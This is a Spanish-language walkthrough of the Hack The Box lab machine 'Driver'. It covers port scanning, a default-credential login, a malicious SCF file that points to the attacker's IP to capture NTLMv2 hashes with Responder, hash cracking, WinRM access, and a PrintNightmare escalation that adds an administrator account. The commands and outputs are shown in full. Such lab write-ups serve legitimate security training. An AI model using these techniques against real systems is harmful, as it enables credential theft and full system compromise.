Driver
Plataforma: Hack The Box
Dificultad: Easy
🔗 Link de la máquina: https://app.hackthebox.com/machines/Driver

Reconocimiento
En esta etapa inicial realizamos un escaneo de puertos para identificar los servicios activos en la máquina objetivo. Utilizamos Nmap con parámetros específicos para lograr un análisis más detallado.
sudo nmap -p- --open -sS -sCV --min-rate 5000 -Pn -n -oN driver.txt 10.129.5.160
Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-14 14:59 -0300
Nmap scan report for 10.129.5.160
Host is up (0.22s latency).
Not shown: 65531 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Microsoft-IIS/10.0
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=MFP Firmware Update Center. Please enter password for admin
| http-methods:
|_ Potentially risky methods: TRACE
135/tcp open msrpc Microsoft Windows RPC
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: DRIVER; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2026-02-15T01:01:00
|_ start_date: 2026-02-15T00:52:55
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
|_clock-skew: mean: 6h59m59s, deviation: 0s, median: 6h59m59s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 103.03 seconds
Detalles del comando:
-p-: Escaneo de todos los puertos.--open: Muestra solo puertos abiertos.-sS: Escaneo SYN para determinar el estado de los puertos.-sCV: Usa scripts por defecto y detectar versiones de servicios.--min-rate 5000: Establece un ritmo mínimo de escaneo.-n: Desactiva la resolución DNS.-Pn: Omite la detección de hosts activos.-oN driver.txt: Guarda los resultados en el archivo “driver.txt”.
Puertos descubiertos:
- 80/tcp - HTTP (IIS 10.0) → MFP Firmware Update Center (requiere autenticación básica)
- 135/tcp - MSRPC
- 445/tcp - SMB (Windows)
- 5985/tcp - WinRM (Windows Remote Management)
Enumeración Web
Acceso al Panel
El servicio HTTP requiere autenticación básica HTTP. Probamos credenciales por defecto:
admin:admin✅

Accedemos al MFP Firmware Update Center, un panel para actualizar firmware de impresoras multifunción. El panel tiene una sección de subida de archivos donde se pueden cargar actualizaciones de firmware para distintos modelos de impresoras.
Funcionalidad de Subida de Archivos
El panel indica que los archivos de firmware subidos son revisados por el equipo de IT antes de ser procesados. Esto es clave: alguien revisará los archivos que subamos.

Explotación
Captura de Hash NTLMv2 con SCF Malicioso
Cuando un archivo SCF (Shell Command File) es subido a un recurso compartido de Windows y un usuario navega a esa carpeta, Windows intentará automáticamente autenticarse con el servidor especificado en el archivo. Esto nos permite capturar el hash NTLMv2 del usuario que revisa los archivos.
Preparación del ataque
Iniciamos Responder para capturar el hash NTLMv2:
sudo responder -I tun0 -wv
Creación del archivo SCF malicioso
Creamos un archivo @driver.scf (el @ hace que aparezca primero en el listado del directorio):
[Shell]
Command=2
IconFile=\\10.10.16.4\share\test.ico
[Taskbar]
Command=ToggleDesktop
El campo IconFile apunta a nuestro servidor, forzando a Windows a autenticarse vía NTLM cuando el archivo es accedido.
Subimos el archivo SCF a través del panel web:

Captura del hash
Después de unos segundos, Responder captura el hash NTLMv2 cuando el administrador revisa los archivos subidos:
[SMB] NTLMv2-SSP Client : 10.129.5.160
[SMB] NTLMv2-SSP Username : DRIVER\tony
[SMB] NTLMv2-SSP Hash : tony::DRIVER:ff5da5326467b2c9:9783E8CBD8836B94CF734BFCF85947A5:0101000000000000...
Hash capturado del usuario: tony
Cracking del Hash NTLMv2
hashcat -m 5600 tony_hash.txt /usr/share/wordlists/rockyou.txt
Resultado:
TONY::DRIVER:3a83a4c06e97c8df:7BBB2BE8A7073...:liltony
Credenciales obtenidas:
- Usuario: tony
- Contraseña: liltony
User Flag
Acceso via WinRM
Con las credenciales obtenidas, nos conectamos al servicio WinRM.
Al intentar ejecutar evil-winrm, puede aparecer el siguiente error por una dependencia de Ruby faltante:
/usr/lib/ruby/vendor_ruby/rubygems/specification.rb:1421:in `block in activate_dependencies':
Could not find 'rubyzip' (~> 2.0) among 149 total gem(s) (Gem::MissingSpecError)
Para solucionarlo:
sudo gem install evil-winrm
Una vez instalado correctamente:
evil-winrm -i 10.129.5.160 -u tony -p liltony

*Evil-WinRM* PS C:\Users\tony\Documents> cd ..
*Evil-WinRM* PS C:\Users\tony> cd Desktop
*Evil-WinRM* PS C:\Users\tony\Desktop> type user.txt
3879e3794ec45027bfca7cb12b27d4a8

Escalada de Privilegios
Enumeración del Sistema
Enumeramos el sistema buscando vectores de escalada:
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ==================================== =======
SeShutdownPrivilege Shut down the system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
SeTimeZonePrivilege Change the time zone Enabled
Verificamos la versión del sistema y los servicios instalados:
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
Get-Service -Name Spooler
Resultado:
systeminfo.exe : ERROR: Access denied
Status Name DisplayName
------ ---- -----------
Running Spooler Print Spooler
El servicio Print Spooler está activo en una versión de Windows vulnerable.
CVE-2021-1675 - PrintNightmare
PrintNightmare es una vulnerabilidad crítica en el servicio Windows Print Spooler que permite a usuarios no privilegiados instalar drivers de impresora maliciosos y ejecutar código con privilegios de SYSTEM.
Preparación del exploit
Descargamos el script de PowerShell desde Kali:
wget https://raw.githubusercontent.com/calebstewart/CVE-2021-1675/main/CVE-2021-1675.ps1
Lo subimos a la máquina víctima desde evil-winrm:
upload CVE-2021-1675.ps1
Al intentar importar el módulo directamente, la política de ejecución lo bloquea:
Import-Module .\CVE-2021-1675.ps1
File C:\Users\tony\Desktop\CVE-2021-1675.ps1 cannot be loaded because running scripts is disabled on this system.
Lo cargamos directamente en memoria para saltarnos la restricción:
IEX(Get-Content .\CVE-2021-1675.ps1 -Raw)
Explotación
Invoke-Nightmare -NewUser "hacker" -NewPassword "Password123!" -DriverName "PrintMe"
Resultado:
[+] created payload at C:\Users\tony\AppData\Local\Temp\nightmare.dll
[+] using pDriverPath = "C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_f66d9eed7e835e97\Amd64\mxdwdrv.dll"
[+] added user hacker as local administrator
[+] deleting payload from C:\Users\tony\AppData\Local\Temp\nightmare.dll
Verificación
net user hacker
net localgroup administrators
User name hacker
...
Local Group Memberships *Administrators
Accedemos con el nuevo usuario administrador:
evil-winrm -i 10.129.5.160 -u hacker -p 'Password123!'
*Evil-WinRM* PS C:\Users\hacker> whoami
driver\hacker
*Evil-WinRM* PS C:\Users\hacker> whoami /groups | findstr "S-1-5-32-544"
BUILTIN\Administrators
Root Flag
*Evil-WinRM* PS C:\> type C:\Users\Administrator\Desktop\root.txt

Máquina Driver de Hack The Box completada exitosamente.